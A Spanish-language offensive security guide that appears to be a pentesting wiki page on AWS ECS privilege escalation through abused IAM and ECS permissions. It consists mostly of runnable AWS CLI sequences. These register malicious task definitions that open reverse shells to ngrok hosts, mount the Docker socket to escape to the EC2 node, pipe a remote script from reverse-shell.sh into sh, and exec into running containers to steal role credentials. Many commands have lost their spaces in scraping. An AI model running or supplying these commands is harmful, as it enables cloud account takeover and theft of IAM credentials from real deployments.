Un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition y ecs:RunTask en ECS puede generar una nueva definición de tarea con un contenedor malicioso que roba las credenciales de metadatos y ejecutarlo.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Impacto Potencial: Privesc directo a un rol de ECS diferente.
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask en ECS puede generar una nueva definición de tarea con un contenedor malicioso que roba las credenciales de metadatos y ejecutarlo.
Sin embargo, en este caso, se necesita una instancia de contenedor para ejecutar la definición de tarea maliciosa.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecsstart-task--task-definitioniam_exfiltration \--container-instances <instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Impacto Potencial: Privesc directo a cualquier rol de ECS.
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService o ecs:CreateService en ECS puede generar una nueva definición de tarea con un contenedor malicioso que roba las credenciales de metadatos y ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn "$ECS_ROLE_ARN" \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a serviceawsecscreate-service--service-nameexfiltration \--task-definition iam_exfiltration \--desired-count 1 \--cluster "$CLUSTER_ARN" \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"# Run the task updating a serviceawsecsupdate-service--cluster<CLUSTERNAME> \--service <SERVICENAME> \--task-definition <NEWTASKDEFINITIONNAME>
Impacto Potencial: Privesc directo a cualquier rol de ECS.
De hecho, solo con esos permisos es posible usar sobrescrituras para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como:
Este escenario es como los anteriores pero sin el permiso iam:PassRole.
Esto sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si no tiene un rol, podrías ejecutar un contenedor privilegiado para escapar al nodo y robar el rol IAM de EC2 y los otros roles de contenedores ECS que se ejecutan en el nodo.
Incluso podrías forzar a otras tareas a ejecutarse dentro de la instancia EC2 que comprometes para robar sus credenciales (como se discutió en la sección Privesc a nodo).
Este ataque solo es posible si el clúster de ECS está utilizando instancias EC2 y no Fargate.
printf'[{"name":"exfil_creds","image":"python:latest","entryPoint":["sh", "-c"],"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],"mountPoints": [{"readOnly": false,"containerPath": "/var/run/docker.sock","sourceVolume": "docker-socket"}]}]'>/tmp/task.jsonprintf'[{"name": "docker-socket","host": {"sourcePath": "/var/run/docker.sock"}}]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu 256--memory512 \--requires-compatibilities '["EC2"]' \--container-definitions file:///tmp/task.json \--volumes file:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-type EC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
Un atacante con el ecs:ExecuteCommand, ecs:DescribeTasks puede ejecutar comandos dentro de un contenedor en ejecución y exfiltrar el rol de IAM adjunto a él (necesitas los permisos de descripción porque es necesario ejecutar aws ecs execute-command).
Sin embargo, para hacer eso, la instancia del contenedor necesita estar ejecutando el agente ExecuteCommand (que por defecto no lo está).
Por lo tanto, el atacante podría intentar:
Intentar ejecutar un comando en cada contenedor en ejecución
# List enableExecuteCommand on each taskfor cluster in $(awsecslist-clusters|jq.clusterArns|grep'"'|cut-d'"'-f2); doecho"Cluster $cluster"for task in $(awsecslist-tasks--cluster"$cluster"|jq.taskArns|grep'"'|cut-d'"'-f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command "sh" \--cluster "$CLUSTER_ARN" \--task "$TASK_ARN"
Si tiene ecs:RunTask, ejecute una tarea con aws ecs run-task --enable-execute-command [...]
Si tiene ecs:StartTask, ejecute una tarea con aws ecs start-task --enable-execute-command [...]
Si tiene ecs:CreateService, cree un servicio con aws ecs create-service --enable-execute-command [...]
Si tiene ecs:UpdateService, actualice un servicio con aws ecs update-service --enable-execute-command [...]
Puede encontrar ejemplos de esas opciones en secciones anteriores de privesc de ECS.
Impacto Potencial: Privesc a un rol diferente adjunto a contenedores.
ssm:StartSession
Verifique en la página de privesc de ssm cómo puede abusar de este permiso para privesc a ECS:
Un atacante con los permisos ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet y ecs:DescribeTaskSets puede crear un conjunto de tareas malicioso para un servicio ECS existente y actualizar el conjunto de tareas principal. Esto permite al atacante ejecutar código arbitrario dentro del servicio.
bashCopycode#Registerataskdefinitionwithareverseshellecho'{"family": "malicious-task","containerDefinitions": [{"name": "malicious-container","image": "alpine","command": ["sh","-c","apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"]}]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceaws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the serviceaws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Impacto Potencial: Ejecutar código arbitrario en el servicio afectado, lo que podría afectar su funcionalidad o exfiltrar datos sensibles.
